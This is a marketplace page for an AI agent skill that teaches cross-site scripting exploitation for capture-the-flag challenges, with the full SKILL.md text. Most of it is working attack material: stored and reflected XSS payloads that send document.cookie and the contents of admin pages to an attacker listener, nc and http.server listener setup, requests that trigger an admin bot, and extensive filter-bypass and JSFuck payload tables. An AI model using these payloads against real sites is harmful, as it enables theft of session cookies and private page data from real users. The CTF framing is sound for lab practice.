# Xss

> Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation.

- Skill: `purpleailab/xss` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/xss`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/xss/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/xss

---


# Cross-Site Scripting (XSS) Exploitation

Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.

## Win Condition — Identify FIRST

**Pattern A — Bot/Cookie Chain** (classic CTF):
- A headless browser bot visits a URL you supply via `/report` or `/contact`
- Goal: exfiltrate `document.cookie` or admin page content to your listener
- Signals: `/report` endpoint exists, challenge mentions "admin visits", cookie in session

**Pattern B — Server-Side Alert Trigger** (Cross 30/31/32 series):
- NO bot, NO cookie exfiltration, NO `/report` endpoint (returns 404)
- The challenge evaluates reflected JS server-side; `alert("XSS")` or `alert(1)` in the response = flag
- Flag appears directly in the HTTP response body when alert triggers
- Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag", `new_umbrella` / `error_umbrella` in response, alphanumeric filter active
- Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError)

**Quick check which pattern:**
```bash
curl -s "$TARGET/report" -o /dev/null -w "%{http_code}"  # 404 = Pattern B (Cross)
curl -s "$TARGET/" | grep -i "report\|bot\|admin"        # Pattern A signals
```

## Detection
```bash
# Reflected XSS probe — check if input is reflected unescaped
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'

# Check for reflection in different contexts
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test'        # attribute context
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test"    # JS string context

# Test attribute injection
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'

# Test common input fields via POST
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>'
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'
```

## Stored XSS with Bot Exfiltration (CTF Pattern)

The standard CTF XSS workflow:
1. Find a stored input (comments, profiles, messages)
2. Inject a payload that exfiltrates data when the admin bot views it
3. Trigger the bot (usually a `/report` endpoint)
4. Receive exfiltrated flag on your listener

```bash
# 1. Start a listener to receive exfiltrated data
python3 -m http.server 8888 &
# Or use netcat:
nc -lvnp 8888 &

# 2. Inject stored XSS that exfiltrates cookies
# Basic cookie steal
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'

# Image tag (bypasses many filters that block <script>)
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'

# SVG-based
curl -s 'http://<TARGET>/comment' -d 'body=<svg onload="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'

# Fetch admin page content and exfiltrate
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/admin").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?d="+btoa(t)))</script>'

# Fetch sensitive endpoint directly (adjust path to observed app structure)
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/api/secret").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?f="+btoa(t)))</script>'

# 3. Trigger the bot to visit the page with injected XSS
curl -s 'http://<TARGET>/report' -d 'url=http://<TARGET>/page-with-stored-xss'
curl -s 'http://<TARGET>/report' -d 'url=/page-with-stored-xss'

# 4. Check listener output — decode base64 if used
echo '<base64_response>' | base64 -d
```

## Reflected XSS Flag Extraction
```bash
# If the flag is in the admin's cookie and there's a report/visit endpoint:
# Craft URL with reflected XSS that steals cookies
PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
curl -s "http://<TARGET>/report" -d "url=http://<TARGET>/search?q=$ENCODED"
```

## Filter Bypass Techniques
```bash
# Case variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>

# No parentheses
<img src=x onerror="alert`1`">
<img src=x onerror="window['alert'](1)">

# No quotes / no spaces
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>

# HTML entity encoding bypass
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

# JavaScript URL scheme
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">

# Event handlers (bypass <script> tag blocks)
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<svg onload=alert(1)>

# Template literal + fetch (modern, avoids quotes)
<img src=x onerror=fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)>

# Double encoding (if server decodes twice)
%253Cscript%253Ealert(1)%253C/script%253E

# If angle brackets blocked — inject into existing JS context
';alert(1);//
"-alert(1)-"
```

## XSS to Flag — Complete CTF Workflow
1. **Identify injection point** — test all inputs for unescaped reflection
2. **Determine context** — HTML body, attribute, JS string, URL?
3. **Craft payload for context** — use appropriate escape/injection
4. **Check for bot/report endpoint** — `/report`, `/admin/visit`, `/contact`
5. **Set up exfil listener** — `python3 -m http.server` or `nc -lvnp`
6. **Inject + trigger bot** — store payload, then report URL to bot
7. **Check listener** — decode response, extract flag
8. **Common flag locations** — admin cookies, `/admin` page, `/.env` endpoint, DOM elements

## Cross-Series Budget Cap (MANDATORY for Cross N challenges)

When the challenge name is "Cross N" (e.g., Cross 11, Cross 24) and Pattern B is confirmed (no `/report`, filter active):

**Hard convergence rule — maximum 5 filter bypass attempts before JSFuck:**
1. Try 3 event-handler variants (`<input onfocus=alert("XSS") autofocus>`, `<details open ontoggle=alert("XSS")>`, `<svg/onload=alert("XSS")>`)
2. Try 1 JSFuck encode (`JSFuck.encode('alert("XSS")', false, true)`)
3. Try 1 partial-range bypass (z/Z char if angle-bracket filter suspected)

If none trigger the flag in 5 attempts: the filter is unusual. Do NOT iterate more payload variants manually — this consumes the context budget. Instead write `exploit/CONVERGED.md` with what was tried, then return to orchestrator with "Filter not bypassed in 5 attempts — needs specialist analysis".

**Anti-pattern**: Iterating 20+ curl variants of payload mutations (changing event handler names, encoding methods, etc.) with zero flag response. Each iteration is one context turn — 20 iterations = 20 turns = context exhausted = timeout. Stop at 5.

## JSFuck — Alphanumeric Filter Bypass

Use when: alphanumeric chars are blocked but `[]()!+` pass through (Pattern B / Cross series).

```bash
# Install jsfuck locally (node is pre-installed in sandbox)
npm install jsfuck 2>/dev/null

# Encode with runInParentScope=true (uses eval, avoids Function constructor)
node -e "
const {JSFuck} = require('./node_modules/jsfuck/jsfuck.js');
const payload = JSFuck.encode('alert(\"XSS\")', false, true);
console.log(payload);
" > /tmp/payload.txt

# Verify payload has zero alphanumeric chars
node -e "const p=require('fs').readFileSync('/tmp/payload.txt','utf8').trim(); console.log('len:',p.length,'alnum:',p.replace(/[^a-zA-Z0-9]/g,'').length)"

# Submit via curl, grep for flag in response
PAYLOAD=$(cat /tmp/payload.txt)
curl -sg "$TARGET/page?name=${PAYLOAD}" | grep -i "flag\|new_umbrella\|alert"
```

**Function-constructor TypeError fallback:**
If server returns `TypeError: Attempting to change the setter of an unconfigurable property`, the JS sandbox blocks Function constructor access. This is a known JSFuck failure mode in strict-mode / hardened sandboxes.

Fix: use `runInParentScope=true` (third argument) — switches from Function constructor to `eval()` injection:
```bash
# Default (broken in strict sandboxes): JSFuck.encode(str, false, false)  <- Function constructor
# Fixed:                                JSFuck.encode(str, false, true)   <- eval injection
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); console.log(JSFuck.encode('alert(1)',false,true))"
```

If `runInParentScope=true` still fails, try raw eval wrapping:
```bash
# Encode just the string 'alert("XSS")' then wrap in eval manually
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); const s=JSFuck.encode('\"alert(\\\\\"XSS\\\\\")\"',false,true); console.log('eval('+s+')')"
```

## Cross Challenge Pattern (No Bot / No Cookie)

Win condition: server-side JS evaluator detects `alert()` call in reflected input. No `/report` endpoint. No bot. No listener needed.

```bash
# Quick alphanumeric filter probe
curl -sg "$TARGET/page?name=abc" | grep -i "error_umbrella\|sorry\|blocked"   # blocked = filter active
curl -sg "$TARGET/page?name=[]()!+" | grep -i "new_umbrella\|ok"              # specials pass = JSFuck viable

# Inject and check response — success indicator appears in HTTP 200 body when alert triggers
curl -sg "$TARGET/page?name=$(cat /tmp/payload.txt | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))')" | grep -i "new_umbrella\|success\|alert\|xss"
```

Do NOT waste time on:
- `/report`, `/contact`, `/visit` endpoints (404 on Cross challenges)
- `python3 -m http.server` listeners (no bot will callback)
- `document.cookie` exfiltration (cookie setter is frozen — signals Pattern B environment)

## Partial-Range Tag Filter Bypass

Some Cross challenges (e.g., filter-bypass example) use a regex like `<[a-yA-Y/]+` that blocks `<` followed by letters a–y / A–Y but excludes z/Z. Probe and bypass:

```bash
# Probe whether tag-name first char escapes the filter
curl -sg "$TARGET/page?name=<a>"     | grep -i "sorry"   # likely blocked (a in range)
curl -sg "$TARGET/page?name=<z>"     | grep -i "sorry"   # not blocked = z escapes
curl -sg "$TARGET/page?name=<Z>"     | grep -i "sorry"   # check uppercase Z
curl -sg "$TARGET/page?name=< img>"  | grep -i "sorry"   # space after `<` may bypass

# Once a non-blocked first-char is found, build payload with valid HTML tag.
# PhantomJS treats unknown tag names as elements; event handlers still fire on
# attribute parsing. Try (URL-encode with python3 urllib.parse.quote):
#   <Z onerror=alert("XSS") src=x>
#   <Zsvg onload=alert("XSS")>
# If unknown tags don't fire events, use `<svg/onload=...>` style with the
# regex-escaping prefix in front: e.g. some filters with `+` quantifier let
# `<>` (zero letters) slip through followed by `<svg ...>` later in the same
# attribute — test both placements.
```

Key insight: `re.findall` + `+` quantifier requires ≥1 matching char immediately after `<`. Any first character outside the class (digits, whitespace, `z`/`Z`, special chars) bypasses the regex entirely.

## Filter Bypass Cookbook

When basic payloads are blocked, use this table to pivot to the next bypass class after ≤3 failures per class:

| Filter blocks | Bypass class | Example payloads |
|---|---|---|
| `<script>` tag | Event handler on any element | `<svg onload=alert(1)>`, `<input autofocus onfocus=alert(1)>`, `<details open ontoggle=alert(1)>` |
| `alert` keyword | Property access / obfuscation | `window['ale'+'rt'](1)`, `(()=>alert)()(1)`, `top[/al/.source+/ert/.source](1)` |
| Quotes `"` and `'` | Template literals / charcode | `` <svg onload=alert`1`> ``, `<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>` |
| `(` and `)` | Template literal call | `` <svg onload=alert`1`> ``, `` setTimeout`alert\x281\x29` `` |
| `alert()` overridden by prototype | iframe srcdoc / new window | `<iframe srcdoc="<script>parent.alert(1)</script>">`, `<a href=javascript:alert(1)>click</a>` |
| Tag whitelist (specific tags only) | Style/CSS injection | `<div style="background:url('javascript:alert(1)')">` |
| Angle brackets `<` `>` | Inject into existing JS context | `';alert(1);//`, `"-alert(1)-"`, `\`;alert(1);//` |
| Prototype chain hardened | Direct assignment | `Object.prototype.toString=alert` |

**Pivot rule**: After 3 payloads in the same bypass class all fail → move to the NEXT row. Do not iterate within the same class more than 3 times.

## Bypass-Class Rotation Rule

The pivot rule in the filter-bypass table limits depth per class. This rule enforces breadth across classes — no more than 2 payloads from the same bypass class against the same endpoint before rotating.

**Track classes in `exploit/xss_classes.txt`**:

```bash
# Before each payload attempt
CLASS="event-handler"   # name of bypass class for this payload
NTRIED=$(grep -c "^${CLASS}$" exploit/xss_classes.txt 2>/dev/null || echo 0)
if [ "$NTRIED" -ge 2 ]; then
  echo "SKIP: ${CLASS} already tried ${NTRIED} times — rotate to a different class"
else
  echo "${CLASS}" >> exploit/xss_classes.txt
  # ... craft and send payload ...
fi
```

**Bypass classes to rotate among (try at least 4 per endpoint)**:

| # | Class name | Representative payloads |
|---|---|---|
| 1 | `tag-based` | `<script>`, `<svg>`, `<img onerror=>` |
| 2 | `event-handler` | `onload`, `onerror`, `onfocus autofocus`, `ontoggle` |
| 3 | `javascript-url` | `<a href="javascript:...">`, `<iframe src="javascript:...">` |
| 4 | `template-literal` | `` alert`1` ``, `String.fromCharCode(...)`, hex/unicode escapes |
| 5 | `iframe-srcdoc` | `<iframe srcdoc="<script>parent.alert(1)</script>">` |
| 6 | `css-style` | `<div style="background:url('javascript:...')">`, `expression(...)` |
| 7 | `js-context-inject` | `';alert(1);//`, `"-alert(1)-"`, inject into existing script block |
| 8 | `prototype-abuse` | `Object.prototype.toString=alert`, DOM clobbering |

**Why class-diversity beats deeper iteration**: Filter authors typically patch one class at a time. Rotating finds the unpatched class in ~4 attempts; iterating one class to its 10th variant wastes budget on an already-hardened surface.

**HARD RULE**: If `exploit/xss_classes.txt` shows ≥4 classes each tried 2× with no bypass — stop manual iteration. Write `exploit/CONVERGED.md` and return to orchestrator.

## Tools
| Tool | Purpose |
|------|---------|
| python3 -m http.server | Simple HTTP listener for exfiltration (Pattern A only) |
| nc -lvnp | Netcat listener for raw data (Pattern A only) |
| node + jsfuck npm | Alphanumeric filter bypass via JSFuck encoding (Pattern B) |
| XSStrike | Automated XSS detection with WAF bypass |

